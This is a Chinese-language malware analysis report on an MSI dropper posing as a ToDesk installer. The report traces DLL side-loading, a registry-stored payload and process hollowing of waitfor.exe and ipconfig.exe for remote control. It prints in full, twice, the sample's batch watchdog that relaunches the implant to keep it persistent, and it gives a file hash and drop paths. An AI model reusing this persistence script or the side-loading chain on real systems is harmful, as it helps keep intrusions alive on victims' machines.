样本分析报告：MSI 投递与 DLL 侧载

图文分析报告 - waitfor/bindup.dll

1.6

4aededd1a9551228e658ef60fced42653339a4565399ed6a530ae528b9bc44ea

初始载荷msi - bindup.dll

释放文件

释放第一波文件

C:\Program Files (x86)\ToDesk_Setup\ToDesk_Setup

其中bindup.dll emjio.tmp resource.png为黑文件

解压resource.png释放第二波文件

C:\Users\Administrator\AppData\Roaming\BluTm_82jd

其中dvacore.dll emjio.tmp ClenaTemp.bat为黑文件

调用链

msi释放完文件后调用bindup.dll内部函数

1.写入注册表payload

payload实际为ToDest_setup目录下的emjio.tmp

最终实现将payload写入注册表中

2.调用ClenaTemp.bat

进行启动第二波释放的文件

最后挖空注入waitfor.exe

3.waitfor劫持进行远控

无持久化保护

incremation.exe - dvacore.dll

ClenaTemp.bat内容如下：

@echo off 
timeout /t 5 >nul

::------------------------------------
:: 防止重复运行（不使用锁文件）
::------------------------------------
set "me=%~nx0"
for /f "skip=1 tokens=2 delims==," %%A in ('wmic process where "Name='cmd.exe'" get CommandLine /value ^| findstr /i "%me%"') do (
    if not defined foundSelf (
        set foundSelf=1
    ) else (
        echo Another instance is already running. Exiting...
        exit /b
    )
)

::-------------------------
:: 你的原有逻辑
::-------------------------
set "target_process=ipconfig.exe"
set "target_file=%appdata%\BluTm_82jd\incremation.exe"

set "lock=C:\Users\Public\venwin.lock"

:watch_loop

timeout /t 5 >nul

if not exist "%lock%" (
    echo Lock 不存在，继续...
) else (
    del "%lock%" >nul 2>&1
    if exist "%lock%" (
        echo 删除失败，退出...
        goto watch_loop
    )
    echo 删除成功，继续...
)

echo 后续逻辑...

tasklist | find /i "%target_process%" >nul

if "%errorlevel%"=="1" (
    if exist "%target_file%" (
        start "" "%target_file%"
    ) else (
        rem 文件不存在，可在此处加入你的处理逻辑
        goto end
    )
) else (
    rem 占位的 else 分支，可自行扩展
)

goto watch_loop
:end

启动incremation.exe，incremation被dvacore.dll挟持

dvacore.dll内容如下

打开的是同目录下emjio.tmp

直接APC创建线程

emjio.tmp主要逻辑内容如下

进行对ipconfig的挖空注入，最后由前文的ClenaTemp监控持久化

后续分析

2026/1/6 9:59:08.3628482

初始载荷.msi

第一次释放

释放第一批文件C:\Users\Administrator\AppData\Roaming\BluTm_82jd

increm以下全部是白文件.tmp与deacore和ClenaTemp.bat

主要调用链是 ClenaTemp.bat调用incremation.exe并做持久化，检测如果incremation消失就再次创建 .bat内容如下

@echo off 
timeout /t 5 >nul

::------------------------------------
:: 防止重复运行（不使用锁文件）
::------------------------------------
set "me=%~nx0"
for /f "skip=1 tokens=2 delims==," %%A in ('wmic process where "Name='cmd.exe'" get CommandLine /value ^| findstr /i "%me%"') do (
    if not defined foundSelf (
        set foundSelf=1
    ) else (
        echo Another instance is already running. Exiting...
        exit /b
    )
)

::-------------------------
:: 你的原有逻辑
::-------------------------
set "target_process=ipconfig.exe"
set "target_file=%appdata%\BluTm_82jd\incremation.exe"

set "lock=C:\Users\Public\venwin.lock"

:watch_loop

timeout /t 5 >nul

if not exist "%lock%" (
    echo Lock 不存在，继续...
) else (
    del "%lock%" >nul 2>&1
    if exist "%lock%" (
        echo 删除失败，退出...
        goto watch_loop
    )
    echo 删除成功，继续...
)

echo 后续逻辑...

tasklist | find /i "%target_process%" >nul

if "%errorlevel%"=="1" (
    if exist "%target_file%" (
        start "" "%target_file%"
    ) else (
        rem 文件不存在，可在此处加入你的处理逻辑
        goto end
    )
) else (
    rem 占位的 else 分支，可自行扩展
)

goto watch_loop
:end